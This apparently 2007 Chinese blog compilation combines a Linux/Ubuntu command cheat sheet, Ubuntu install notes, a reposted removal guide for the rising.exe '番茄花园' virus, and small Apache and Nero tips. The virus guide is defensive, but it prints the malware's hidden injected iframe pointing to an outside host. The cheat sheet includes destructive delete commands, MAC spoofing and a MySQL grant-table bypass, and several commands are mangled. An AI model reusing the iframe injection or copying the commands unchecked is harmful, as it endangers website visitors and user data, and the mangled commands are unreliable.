Novell Ubuntu Linux命令大全使用方法

转自:Novell Ubuntu Linux命令大全使用方法: http://www.lslnet.com/linux/docs/linux-7400.htm

*********************************************************************************************************

Novell Ubuntu Linux命令大全使用方法

蓝森林 http://www.lslnet.com 2007年4月28日 20:01

  1 文件管理 # ls ls -a 列出当前目录下的所有文件,包括以.头的隐含文件

文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息

文件管理 # pwd pwd 查看当前所在目录的绝对路经

文件管理 # cd cd .. 回当前目录的上一级目录

文件管理 # cd cd - 回上一次所在的目录

文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录

文件管理 # cd cd ~用户名 回指定用户的宿主目录

2 文件管理 # mkdir mkdir 目录名 创建一个目录

文件管理 # mkdir mkdir –p 递归式去创建一些嵌套目录

文件管理 # rmdir Rmdir 空目录名 删除一个空目录

3 文件管理 # rm rm 文件名 文件名 删除一个文件或多个文件

文件管理 # rm rm -rf 非空目录名 递归删除一个非空目录下的一切,不让提式-f

4 文件管理 # cat cat文件名 一屏查看文件内容

5 文件管理 # more more文件名 分页查看文件内容

6 文件管理 # less less 文件名 可控分页查看文件内容

7 文件管理 # grep grep字符 文件名 根据字符匹配来查看文件部分内容

8 文件管理 # mv mv 路经/文件 /经/文件 移动相对路经下的文件到绝对路经下

文件管理 # mv mv 文件名 新名称 在当前目录下改名

9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下

10 文件管理 # find find 路经 -name “字符串” 查找路经所在范围内满足字符串匹配的文件和目录

11 文件管理 # ln ln 源文件 链接名 创建当前目录源文件的硬链接

ln /home/test /usr/test1 在/usr下建立/home/test的硬链接

12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b

13 文件管理 # touch touch file1 file2 创建两个空文件

14 磁盘管理 # df df 用于报告文件系统的总容量,使用量,剩余容量。

15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。

16 磁盘管理 # fdisk fdisk -l 查看系统分区信息

17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区

18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1

为第一块SCSI硬盘的第一主分区格式化成

ext3的文件系统

mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统

19 磁盘管理 # mount mount -t 文件系统类型 设备路经 访问路经 磁盘管理 # 文件系统类型

ISO9660 光驱文件系统

vfat Fat文件系统(windows)

挂载光驱 # mount –t iso9660 /dev/cdrom /mnt/cdrom

挂载FAT # mount –t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区

17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空

18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限

chmod g+r file 为file的属组加上读权限

chmod o+w file 为file的其它用户加上写权限

chmod a-x file 为file的所有用户减去执行权限

chmod 765 file 为file的属主设为完全权限,属组设成读写权,其它用户具有读和执心权限

19 文件权限 # chown chown root /home 把/home的属主改成root用户

20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组

21 打印管理 # redhat-config-printer-tui 进入安装打印机界面

22 打印管理 # lp lp –d hptr file 打印file到hptr的打印机上

23 打印管理 # lpq Lpq –P 打印机名 查看打印机的状态

24 打印管理 # lprm Lprm –P 打印机名 a 删除打印机内的打印作业

25 打印管理 # disable Disable –r “changing paper” HPtr 禁用打印机并提示原因

26 打印管理 # enable Enable HPtr 重新启用被禁用的

27 用户管理 # useradd Useradd 创建一个新的用户

28 用户管理 # groupadd Groupadd 组名 创建一个新的组

29 用户管理 # passwd Passwd 用户名 为用户创建密码

30 用户管理 # Passwd -d Passwd -d用户名 删除用户密码也能登陆

31 用户管理 # Passwd -l Passwd -l用户名 锁定账号密码

32 用户管理 # Passwd -u Passwd -u用户名 解锁账号密码

33 用户管理 # Passwd -S Passwd -S用户名 查询账号密码

34 用户管理 # Usermod -l Usermod -l 新用户名 老用户名 为用户改名

35 用户管理 # Usermod -L Usermod -L 要锁定用户名 锁定用户登陆

36 用户管理 # Usermod -U Usermod –U解锁用户名 解锁用户登陆

37 用户管理 # Usermod -u Usermod –u 501用户名 改变用户UID

38 用户管理 # Userdel Userdel–r 用户名 删除用户一切

39 用户管理 # Groupmod -n Groupmod –n新用户名 老用户名 为组改名

40 用户管理 # Groupmod -g Groupmod –g 501 组名 改变组GID

41 用户管理 # groupdel Groupdel组名 先应删它的用户 删除组

42 用户管理 # gpasswd -a gpasswd -a 用户名 组名 增加用户到组

43 用户管理 # Id id 用户名 查用户信息

44 软件管理 # rpm -qa rpm –qa | less 查询已安装RPM

45 软件管理 # rpm –qa | grep ftp 查询指定RPM

46 软件管理 # rpm -q rpm -q 已安装的RPM包 查是否安装

47 软件管理 # rpm -q telnet-server 查看telnet服务器包

48 软件管理 # rpm -qi rpm –qi 软件包名称 查看软件的描述信息

49 软件管理 # rpm -ql rpm –ql软件包名称 查询软件包的文件列表

50 软件管理 # rpm -qf rpm –qf软件包名称 查询某个文件所属的软件包

51 软件管理 # rpm -qp rpm –qp软件包全名 查询未安装的软件包信息

52 软件管理 # rpm -e rpm –e 软件包名称 删除具体的软件包

53 软件管理 # rpm -U rpm –Uvh软件包全名 升级软件包并显示过程

54 软件管理 # rpm -ivh rpm –ivh 软件包全名 安装软件包并显示过程

55 软件管理 # rpm -V rpm –V软件包名称 验证软件包的大小,类型等

56 软件管理 # tar -c 创建包 –x 释放包 -v 显示命令过程 –z 代表压缩包

57 软件管理 # tar -cf tar –cvf benet.tar /home/benet 把/home/benet目录打包

58 软件管理 # tar -czf tar –zcvf benet.tar.gz /mnt 把目录打包并压缩

59 软件管理 # tar –tf tar –tf benet.tar 看非压缩包的文件列表

60 软件管理 # tar –tzf tar –tf benet.tar.gz 看压缩包的文件列表

61 软件管理 # tar –xf tar –xf benet.tar 非压缩包的文件恢复

62 软件管理 # tar –zxvf tar –zxvf benet.tar.gz 压缩包的文件解压恢复

63 软件管理 # tar -jxvf tar –jxvf benet.tar.bz2

64 软件管理 # diff diff file1 file2 > 补丁名.patch 为新旧文件生成补丁文件

65 软件管理 # diff diff file1 file2 比较两个文件的区别

66 软件管理 # Patch Patch file补丁名.patch 打补丁

67 软件管理 # ./configure --prefix=/usr/local/ 编译前配置

68 软件管理 # make 编译

69 软件管理 # make install 安装编译好的源码包

70 启动管理 # reboot Init 6 重启LINUX系统

71 启动管理 # Halt Init 0 Shutdown –h now 关闭LINUX系统

72 启动管理 # runlevel 显示系统运行级

73 启动管理 # Init [0123456] 改变系统运行级,7种

74 启动管理 # Chkconfig –-list [服务名称] 查看服务的状态

75 启动管理 # Chkconfig –-level <运行级> <服务名> on|off|set 设置服务的启动状态

76 启动管理 # Chkconfig <服务名> on|off|set 设置非独立服务启状态

77 进程管理 # Top动态 Ps-aux静态 进程树pstree 查看系统进程

78 进程管理 # 程序名 & 后台运行程序

79 进程管理 # fg 把后台运行的进程调回前台

80 进程管理 # bg 把前台运行进程调到后台

81 进程管理 # renice Renice +1 180 把180号进程的优先级加1

82 进程管理 # kill Kill PID 终止某个PID进程

83 进程管理 # at at 5pm + 3 days /bin/ls 指定三天后下午5:00执行/bin/ls

84 进程管理 # crontab Crontab -e 用VI的形式来编辑自动周期性任务

85 进程管理 # crontab Crontab -l 查看自动周期性任务

86 进程管理 # crontab Crontab -r 删除自动周期性任务

87 进程管理 # crond Service crond 马上启动自动周期性服务 Service crond <启动|停止|重启|状态>

实现磁盘配额 (注安装LINUX时建立/home分区)

目标:对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额

实现步骤:

1. 修改包含/home的行, #vi /etc/fstab, 改为:defaults,usrquota。也就是增加usrquota项。然后保存退出。

2、卸载/home目录 #umount /home

3. 挂接/home目录 #mount /home

4、增加用户zhao #useradd zhao

5、修改密码 #passwd zhao

6、生成关于/home目录的quota信息 # quotacheck -cmug /home

#quotacheck -vu /home

7、查看所有用户的信息 #repquota -au

8、设置配额 #edquota -u zhao

将soft 和hard 分别改为5和10

9、保存并退出 #wq!

10、修改时间 #edquota -t

11、 #wq!

12.开启/home上的磁盘配额功能 #quotaon /home

13.查询配额 #quota -u zhao

14.验证配额 #su - zhao

$touch myfile

Ubuntu一些很必要的命令

安装

查看软件xxx安装内容

dpkg -L xxx

查找软件

apt-cache search 正则表达式

查找文件属于哪个包

dpkg -S filename

apt-file search filename

查询软件xxx依赖哪些包

apt-cache depends xxx

查询软件xxx被哪些包依赖

apt-cache rdepends xxx

增加一个光盘源

sudo apt-cdrom add

系统升级

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

清除所以删除包的残余配置文件

dpkg -l |grep ^rc|awk '{print $2}' |tr ["/n"] [" "]|sudo xargs dpkg -P -

编译时缺少h文件的自动处理

sudo auto-apt run ./configure

查看安装软件时下载包的临时存放目录

ls /var/cache/apt/archives

备份当前系统安装的所有包的列表

dpkg --get-selections | grep -v deinstall > ~/somefile

从上面备份的安装包的列表文件恢复所有包

dpkg --set-selections < ~/somefile

sudo dselect

清理旧版本的软件缓存

sudo apt-get autoclean

清理所有软件缓存

sudo apt-get clean

删除系统不再使用的孤立软件

sudo apt-get autoremove

系统

查看内核

uname -a

查看Ubuntu版本

cat /etc/issue

查看内核加载的模块

lsmod

查看PCI设备

lspci

查看USB设备

lsusb

查看网卡状态

sudo ethtool eth0

查看CPU信息

cat /proc/cpuinfo

显示当前硬件信息

lshw

硬盘

查看硬盘的分区

sudo fdisk -l

查看IDE硬盘信息

sudo hdparm -i /dev/hda

查看STAT硬盘信息

sudo hdparm -I /dev/sda

sudo apt-get install blktool

sudo blktool /dev/sda id

查看硬盘剩余空间

df -h

df -H

查看目录占用空间

du -hs 目录名

优盘没法卸载

sync

fuser -km /media/usbdisk

内存

查看当前的内存使用情况

free -m

进程

查看当前有哪些进程

ps -A

中止一个进程

kill 进程号(就是ps -A中的第一列的数字)

或者 killall 进程名

强制中止一个进程(在上面进程中止不成功的时候使用)

kill -9 进程号

或者 killall -9 进程名

图形方式中止一个程序

xkill 出现骷髅标志的鼠标,点击需要中止的程序即可

查看当前进程的实时状况

top

查看进程打开的文件

lsof -p

ADSL

配置 ADSL

sudo pppoeconf

ADSL手工拨号

sudo pon dsl-provider

激活 ADSL

sudo /etc/ppp/pppoe_on_boot

断开 ADSL

sudo poff

查看拨号日志

sudo plog

网络

根据IP查网卡地址

arping IP地址

查看当前IP地址

ifconfig eth0 |awk '/inet addr/ {split($2,x,":");print x[2]}'

查看当前外网的IP地址

w3m -no-cookie -dump www.ip138.com|grep -o '[0-9]/{1,3/}/.[0-9]/{1,3/}/.[0-9]/{1,3/}/.[0-9]/{1,3/}'

w3m -no-cookie -dump ip.loveroot.com|grep -o '[0-9]/{1,3/}/.[0-9]/{1,3/}/.[0-9]/{1,3/}/.[0-9]/{1,3/}'

查看当前监听80端口的程序

lsof -i :80

查看当前网卡的物理地址

arp -a | awk '{print $4}'

ifconfig eth0 | head -1 | awk '{print $5}'

立即让网络支持nat

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

sudo iptables -t nat -I POSTROUTING -j MASQUERADE

查看路由信息

netstat -rn

sudo route -n

手工增加删除一条路由

sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1

sudo route del -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1

修改网卡MAC地址的方法

sudo ifconfig eth0 down #关闭网卡

sudo ifconfig eth0 hw ether 00:AA:BB:CCD:EE #然后改地址

sudo ifconfig eth0 up #然后启动网卡

统计当前IP连接的个数

netstat -na|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r -n

netstat -na|grep SYN|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r -n

统计当前20000个IP包中大于100个IP包的IP地址

tcpdump -tnn -c 20000 -i eth0 | awk -F "." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -nr | awk ' $1 > 100 '

屏蔽IPV6

echo "blacklist ipv6" | sudo tee /etc/modprobe.d/blacklist-ipv6

服务

添加一个服务

sudo update-rc.d 服务名 defaults 99

删除一个服务

sudo update-rc.d 服务名 remove

临时重启一个服务

/etc/init.d/服务名 restart

临时关闭一个服务

/etc/init.d/服务名 stop

临时启动一个服务

/etc/init.d/服务名 start

设置

配置默认Java使用哪个

sudo update-alternatives --config java

修改用户资料

sudo chfn userid

给apt设置代理

export http_proxy=http://xx.xx.xx.xx:xxx

修改系统登录信息

sudo vim /etc/motd

中文

转换文件名由GBK为UTF8

sudo apt-get install convmv

convmv -r -f cp936 -t utf8 --notest --nosmart *

转换文件内容由GBK为UTF8

iconv -f gbk -t utf8 $i > newfile

转换 mp3 标签编码

sudo apt-get install python-mutagen

find . -iname “*.mp3” -execdir mid3iconv -e GBK {} /;

控制台下显示中文

sudo apt-get install zhcon

使用时,输入zhcon即可

文件

快速查找某个文件

whereis filenamefind 目录 -name 文件名

查看文件类型

file filename

显示xxx文件倒数6行的内容

tail -n 6 xxx

让tail不停地读地最新的内容

tail -n 10 -f /var/log/apache2/access.log

查看文件中间的第五行(含)到第10行(含)的内容

sed -n '5,10p' /var/log/apache2/access.log

查找包含xxx字符串的文件

grep -l -r xxx .

查找关于xxx的命令

apropos xxx

man -k xxx

通过ssh传输文件

scp -rp /path/filename username@remoteIP:/path #将本地文件拷贝到服务器上

scp -rp username@remoteIP:/path/filename /path #将远程文件从服务器下载到本地

查看某个文件被哪些应用程序读写

lsof 文件名

把所有文件的后辍由rm改为rmvb

rename 's/.rm$/.rmvb/' *

把所有文件名中的大写改为小写

rename 'tr/A-Z/a-z/' *

删除特殊文件名的文件,如文件名:--help.txt

rm -- --help.txt 或者 rm ./--help.txt

查看当前目录的子目录

ls -d */. 或 echo */.

将当前目录下最近30天访问过的文件移动到上级back目录

find . -type f -atime -30 -exec mv {} ../back /;

将当前目录下最近2小时到8小时之内的文件显示出来

find . -mmin +120 -mmin -480 -exec more {} /;

删除修改时间在30天之前的所有文件

find . -type f -mtime +30 -mtime -3600 -exec rm {} /;

查找guest用户的以avi或者rm结尾的文件并删除掉

find . -name '*.avi' -o -name '*.rm' -user 'guest' -exec rm {} /;

查找的不以java和xml结尾,并7天没有使用的文件删除掉

find . ! -name *.java ! -name ‘*.xml’ -atime +7 -exec rm {} /;

统计当前文件个数

ls /usr/bin|wc -w

显示当前目录下2006-01-01的文件名

ls -l |grep 2006-01-01 |awk '{print $8}'

压缩

解压缩 xxx.tar.gz

tar -zxvf xxx.tar.gz

解压缩 xxx.tar.bz2

tar -jxvf xxx.tar.bz2

压缩aaa bbb目录为xxx.tar.gz

tar -zcvf xxx.tar.gz aaa bbb

压缩aaa bbb目录为xxx.tar.bz2

tar -jcvf xxx.tar.bz2 aaa bbb

Nautilus

显示隐藏文件

Ctrl+h

显示地址栏

Ctrl+l

特殊 URI 地址

* computer:/// - 全部挂载的设备和网络

* network:/// - 浏览可用的网络

* burn:/// - 一个刻录 CDs/DVDs 的数据虚拟目录

* smb:/// - 可用的 windows/samba 网络资源

* x-nautilus-desktop:/// - 桌面项目和图标

* file:/// - 本地文件

* trash:/// - 本地回收站目录

* ftp:// - FTP 文件夹

* ssh:// - SSH 文件夹

* fonts:/// - 字体文件夹,可将字体文件拖到此处以完成安装

* themes:/// - 系统主题文件夹

查看已安装字体

在nautilus的地址栏里输入”fonts:///“,就可以查看本机所有的fonts

程序

详细显示程序的运行信息

strace -f -F -o outfile

日期和时间

设置日期

#date -s mm/dd/yy

设置时间

#date -s HH:MM

将时间写入CMOS

hwclock --systohc

读取CMOS时间

hwclock --hctosys

控制台

不同控制台间切换

Ctrl + ALT + ←

Ctrl + ALT + →

指定控制台切换

Ctrl + ALT + Fn(n:1~7)

控制台下滚屏

SHIFT + pageUp/pageDown

控制台抓图

setterm -dump n(n:1~7)

数据库

mysql的数据库存放在地方

/var/lib/mysql

从mysql中导出和导入数据

mysqldump 数据库名 > 文件名 #导出数据库

mysqladmin create 数据库名 #建立数据库

mysql 数据库名 < 文件名 #导入数据库

忘了mysql的root口令怎么办

sudo /etc/init.d/mysql stop

sudo mysqld_safe --skip-grant-tables &

sudo mysqladmin -u user password 'newpassword''

sudo mysqladmin flush-privileges

修改mysql的root口令

sudo mysqladmin -uroot -p password '你的新密码'

其它

下载网站文档

wget -r -p -np -k http://www.21cn.com

· -r:在本机建立服务器端目录结构;

· -p: 下载显示HTML文件的所有图片;

· -np:只下载目标站点指定目录及其子目录的内容;

· -k: 转换非相对链接为相对链接。

如何删除Totem电影播放机的播放历史记录

rm ~/.recently-used

如何更换gnome程序的快捷键

点击菜单,鼠标停留在某条菜单上,键盘输入任意你所需要的键,可以是组合键,会立即生效;

如果要清除该快捷键,请使用backspace.

*******************************************************************************************

                                      转帖完毕

安装Ubuntu

本来,对于linux操作系统,我是不大追求新的,一方面是自己的机器太老了,一方面是没有需要。所以,我家里的redhat linux9.0可能用了都有1年了也没有去动过。但是,这几天,我把redhat linux9.0去掉了,用硬盘iso文件(ubuntu-6.06-alternate-i386.iso)安装ubuntu的方法安装了Ubuntu6.06桌面版。

我为什么去掉redhat linux9.0呢?套用一位linuxsir.org上的朋友的话是“现在谁还用这”。

当我编译安装一个新的软件时,总是告诉我这样那样的库过时,要升级;还有前一段时间在linux下用得好好的MilyQQ和LumaQQ不知是安装了(或升级了)什么东西的缘故,突然一齐罢工都不能用了,我又畏惧去找原因,生怕又有一大堆东西要掌握,而我现在的重点不在于此;然后就是我安装了firefox的flash 9.0插件后,firefox只要一浏览有flash的网页往往就会崩溃。于是,我终于要下决心离开redhat linux9.0了。本来想找它的后续桌面版Fedora,但是Fedora的光盘有六张(我不知道到底需要几张光盘才能安装它?也不知道Fedora能不能进行硬盘安装?),我自己原来下过Ubuntu的硬盘iso安装文件,也在单位的P4 1.7G + 256M的机器上用过几天Ubuntu(因为我嫌它运行慢了和有点不适应它的“大包大揽”的自动化安装方式和它的默认UTF-8的locale编码,后来就没有用了),只有约700M大小,所以我就用Ubuntu了。

下面分享一下我用硬盘iso文件安装Ubuntu的经验。具体步骤在上面提到的那篇日记中有:用硬盘iso文件(ubuntu-6.06-alternate-i386.iso)安装ubuntu的方法

其中要注意的是:

1)、要选英文安装语言,以后安好了在安装中文包;我选中文安装语言时,出现了安装不能继续前进的问题,也不知道是不是语言问题引起的,反正是第二次选择英文安装语言后没有出现这个问题了;

2)、原来的/home(用户数据)和/usr/local(用户程序)分区,在安装程序分区时直接挂载到相应的挂载点,并选择“keep data existed”(大概是这样,意思是保持原来的数据不变)就行了;

3)、如果安装grub不成功时,重复安装一次“基本系统”(英文大概是“base system”吧)就成了(我试过两次都是这样);

4)、grub命令中的root (hd1,0)是要确定vmlinuz和initrd.gz(或initrd.img之类)文件所在的分区,一般来说是boot分区,如果没有划分boot分区(听说这样不科学,不过我就是这样的:))那就是根分区(/)(例如:在根分区下作了/boot目录下的vmlinuz和initrd.img文件的链接为/vmlinuz和/initrd.img);我的认识就是这样的,如果哪位大侠发现有什么错漏之处还望指点一二,谢谢。

5)、下面这个问题害得我刚装好Ubuntu一天又在今天中午重新安装Ubuntu了。

我下载了一个zhcon0.2.6的deb包安装(Ubuntu仓库里的zhcon0.2.3过时了,而且在我的系统上不能工作),报告说libc6版本低了,我又下载一个最新的libc6的deb包准备安装,却又报告缺哪个包。。。,又缺哪个包。。。

然后我准备用Ubuntu的新得立包管理系统更新libc6,报告3 broken,不能更新,而且快捷菜单里只有卸载的选项,一选择卸载又有许多与libc6有关的东西要更改。。。弄来弄去,就是不能继续更新libc6了。我知道如果我花时间去找解决方法也找得快。但是,我感觉不如重新装来得快:)

我感觉这是我不能适应Ubuntu安装方式的原因,牵涉面太宽了,而且这种自动化的方式使我手动控制变得有点不太方便。也许是没有深入Ubuntu的原因吧?

不过,从这个事件我得到一个教训,在Ubuntu下,用新得立自动包管理方式不能安装的东西,不要尝试用deb包去安装,如果deb包的东西打破了新得立系统的统一管理方式可能会有麻烦(像我碰到的那样)。这时,我觉得,最好的方式还是从源码编译手动安装的好(我还没有试着在ubuntu下编译安装zhcon0.2.6,但在redhat linux9.0下成功的)。

6)、我感觉AMD Duron 700 + 384M的机器比原来单位上的P4 1.7G + 256M的机器跑Ubuntu桌面版还要快点,可能是前者的内存多点吧?

7)、每个系统都有它自己的脾气,如果我们摸准了它的脾气,它就会乖乖听话,给我们卖力工作的:)

Windows XP操作系统现在在搞正版认证,如果你在自动更新中下载了正版认证的更新,如果你是盗版的Windows XP,那么,你的系统就会被盖上一个戳,标记为盗版,告诉你是盗版软件的受害者。还有,如果你到Microsoft的网站去下载新版的IE7,就会要求你先进行正版认证。我想,我坚持把linux作为自己的工作系统是应该不会错的,不为别的,清静,省心,省钱,还是正版:)

番茄花园病毒rising.exe(修改系统时间并感染exe)的清除(转

转载者前言:

尽管我是小心又小心,不过前几天不知什么时候电脑里的windows xp sp2出现异常:

1、在进程中出现junhui.exe等等陌生的进程;

2、在几个分区的根目录下出现rising.exe的文件;

3、一些可执行文件的文件属性被改,如:公司名称改为:番茄花园,原始文件名改为:fso.exe等等(如果没有记错的话,基本上是这样的);

4、可执行文件的后缀由exe改为eve了,然后重新有一个不同字节长度的exe文件;

5、后来,双击分区不能打开分区了,出现打开方式对话框;

6、发现一些陌生的exe文件和dll文件在C盘的一些目录中。

经查,是中了一个叫番茄花园的病毒。因为这个xp系统用了可能好几个月没有重装了,加上又中了这么一个难缠的病毒,把windows分区全部删除(C盘是NTFS格式)并格式化,重新装了xp系统。

后来,查到一篇详细介绍这个病毒的文章,就把它转载到这里了。

××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××

转自:番茄花园病毒rising.exe(修改系统时间并感染exe)的清除: http://www.45it.com/Article/pcedu/Safety/200705/15794.htm

番茄花园病毒rising.exe(修改系统时间并感染exe)的清除

作者:newcentu…   文章出处:剑盟   更新时间:2007-5-5

  今天发现此种病毒求助者见多,收到样本后,利马测试了一下。该病毒就是前些日子流行的“修改系统时间”的病毒之变种。此次变种可谓是集N种破坏性病毒之大成了。主要破坏功能有:1.感染exe 并使得被感染的exe的公司等属性变为“番茄花园”

  2.感染html asp 等文件 插入恶意代码

  3.通过双击磁盘启动

  4.下载木马,盗取网游帐号

  5.修改注册表 使系统无法显示隐藏文件

  6.通过hook API 函数 导致任务管理器中 无法看见其进程

  分析报告如下:

 File: rising.exe

Size: 64775 bytes

File Version: 1.00

MD5: 86311B37D938BB35645E7B092014DD63

SHA1: 47C324A5A691DD31DC0410E51ADBD35065E6C7C3

CRC32: 88ABBD9B

rising.exe 运行后 首先释放一个rising.eve的文件 然后由rising.exe启动他

之后 释放139CA82A.EXE 139CA82A.dll(随机的8个数字字母组合成的文件名)到系统文件夹

注册服务139CA82A.EXE

139CA82A.EXE控制winlogon进程 使得139CA82A.dll插入几乎所有进程

释放rising.exe 和autorun.inf 到每个分区 使得双击磁盘启动

感染 除系统分区外的exe文件 使得其公司名全变为 番茄花园

感染 html asp 等文件 在其后面插入代码

<iframe src="http://web.yulett.cn/count.htm" width="0" height="0" frameborder="0"></iframe>

修改系统时间 随机把年份往前调 月,日不变

修改 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue:

值为 0x00000000

导致无法显示临时文件

rising.exe 还会hook 多个 API函数 使其进程在任务管理器中隐藏

使用Explorer.exe连接网络 61.152.92.98:80下载木马

下载的木马一般为K117815XXXXX.exe

XXXXX代表随机

到系统文件夹

由于 每台机器上下载的木马的名称不同 但最后结果相同 所以中间释放的过程省略

最后 这些木马运行后分别释放了如下文件

C:\WINDOWS\system32\buchehuo.exe(创建了服务inetsvr)

C:\WINDOWS\system32\cmdbs.dll

C:\WINDOWS\cmdbs.exe

C:\WINDOWS\system32\Kvsc3.dll

C:\WINDOWS\Kvsc3.exe

C:\WINDOWS\system32\mppds.dll

C:\WINDOWS\mppds.exe

C:\WINDOWS\system32\msccrt.dll

C:\WINDOWS\msccrt.exe

C:\WINDOWS\system32\winform.dll

C:\WINDOWS\winform.exe

C:\WINDOWS\system32\winsock.exe

临时文件夹下 释放upxdnd.exe和upxdnd.dll

  解决办法:

  安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)

  首先把系统日期 改回来

  然后打开sreng(可到down.45it.com下载)

  启动项目 注册表 删除如下项目

 <upxdnd><C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\upxdnd.exe> []

<msccrt><C:\WINDOWS\msccrt.exe> []

<cmdbs><C:\WINDOWS\cmdbs.exe> []

<mppds><C:\WINDOWS\mppds.exe> []

<Kvsc3><C:\WINDOWS\Kvsc3.exe> []

<winform><C:\WINDOWS\winform.exe> []

  “启动项目”-“服务”-“Win32服务应用程序”中点“隐藏经认证的微软项目”,

  选中以下项目,点“删除服务”,再点“设置”,在弹出的框中点“否”:

 139CA82A / 139CA82A

Wireless Zero Conflguration / inetsvr

把下面的 代码拷入记事本中然后另存为1.reg文件

 Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]

"RegPath"="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"

"Text"="@shell32.dll,-30500"

"Type"="radio"

"CheckedValue"=dword:00000001

"ValueName"="Hidden"

"DefaultValue"=dword:00000002

"HKeyRoot"=dword:80000001

"HelpID"="shell.hlp#51105"

  双击1.reg把这个注册表项导入注册表

  然后双击我的电脑-工具-文件夹选项-查看-显示所有文件和文件夹,把“隐藏受保护的系统文件”的勾去掉。

  右键 点击C盘 点击右键菜单中的“打开”打开C盘 (千万不要双击)(如图)

  删除 如下文件

 C:\rising.exe

C:\autorun.inf

C:\WINDOWS\system32\buchehuo.exe

C:\WINDOWS\system32\cmdbs.dll

C:\WINDOWS\cmdbs.exe

C:\WINDOWS\system32\Kvsc3.dll

C:\WINDOWS\Kvsc3.exe

C:\WINDOWS\system32\mppds.dll

C:\WINDOWS\mppds.exe

C:\WINDOWS\system32\msccrt.dll

C:\WINDOWS\msccrt.exe

C:\WINDOWS\system32\winform.dll

C:\WINDOWS\winform.exe

C:\WINDOWS\system32\winsock.exe

C:\WINDOWS\unspapik.txt

C:\WINDOWS\wiasevct.txt

C:\WINDOWS\wiasvctr.txt

C:\WINDOWS\ganran.txt

C:\WINDOWS\system32\139CA82A.DLL(随机的8个数字字母组合成的文件名)

C:\WINDOWS\system32\139CA82A.EXE(随机的8个数字字母组合成的文件名)

C:\WINDOWS\system32\K117815XXXXX.exe(XXXXX代表随机数字)

清空C:\Documents and Settings\用户名\Local Settings\Temp

  右键 点击分别打开系统分区以外的分区 还是点击右键菜单中的“打开” (千万不要双击)

  删除每个分区下面的autorun.inf和rising.exe文件

  最后使用专杀 全盘杀毒(可到down.45it.com下载)

  电脑软硬件应用编辑注:本文来源为:剑盟论坛,作者newcentury,本文为在原创作者的基础上进行整理和修改上建立的。如有疑问请请发布评论即可。我们会做相关处理。谢谢支持和合作

*****************************************************************************************************

                                转帖完毕

apache服务器下不能正常显示中文网页的解决方法

今天在redhat linux9.0下安装了apache服务器,启动后不能正常显示gb2312中文网页,可以正常显示utf-8中文网页。

 据文章:[精华] [原创]解决apache显示乱码的方法- 关怀(爱)IT人: http://www.ghitr.com/article/show-33698.html 介绍,将文件/etc/httpd/conf/httpd.conf中的“AddDefaultCharset ISO-8859-1” 改为“AddDefaultCharset off”解决问题。访问UTF-8的中文网页也没问题。

 原文章还说,改成:AddDefaultCharset GB2312 也行,试了一下,确实如此。

灰尘是计算机的大敌

摸计算机也有10年左右了,我碰到的不少所谓的问题就是把内存条拔出来用橡皮擦一擦,把显卡拔出来用橡皮擦一擦解决问题。还有比如软驱、光驱的维护也就是把灰尘用酒精擦一擦,或者再加上打点润滑油。

前几天,我家里那台Duron 700老是一开机就是黑屏,什么反映都没有,要启动多次才能把机器启动。在前一步自检通过后,又时不时出现“WINDOWS无法启动,system32\drivers\pci.sys损坏或者丢失”的提示而使系统不能启动。我在网上查了一下,从百度知道的一篇文章中WINDOWS无法启动,system32\drivers\pci.sys损坏或者丢失中得知,这个可能是内存条受灰尘影响的缘故。

想起这几天机器的不正常现象,我把内存条和显卡拔下来用橡皮仔细擦了擦后插上,然后开机,一切正常。到今天为止,电脑还是一切正常,看来又是灰尘惹的祸了。

如果您的电脑出现类似问题,不妨如法炮制。

用Nero制作标准ISO文件和其它类型镜像文件的方法(转帖)

转自:用Nero制作标准ISO文件的方法:http://dgz.qhhndx.com/blogview.asp?logID=4

用Nero制作标准ISO文件的方法

  用Nero刻录ISO文件大家都会,不过知道怎样用Nero制作ISO文件的却好像没有多少,偶在这里介绍一下,呵呵。

 

  首先启动Nero,然后在Nero的“烧录器”菜单中选择“选择烧录器”选项。在“选择烧录器”选项中,我们选择使用“Image Recorder”作为要使用的烧录机。

 

  接下来我们要作的就是新建一个烧录任务,建立好烧录任务后,选择“文件”菜单中的“写光盘”选项,然后选择“写入”。这时Nero会出现一个提示你“保存映像文件”的对话框,在“保存类型”中选择“ISO Image Files”,最后选择“保存”即可。

(littlebat注:在保存类型中可以选择其它映像文件类型,比如:NRG)

********************************************************

相关的帖子还有另一篇可以参考一下:

用Nero制作镜像文件: http://soft.zol.com.cn/2004/0111/144321.shtml

用Nero制作镜像文件

类型:转载 作者:wufang 日期:2004-01-11 10:36:18

--------------------------------------------------------------------------------

   Nero不仅是一个优秀的刻录软件,还是一个很优秀的镜像文件制作工具,你可以用它来制作镜像文件,包括光盘镜像文件和硬盘镜像文件。具体是如何实现的呢?随我来看看你就知道了。

     1.制作光盘镜像文件

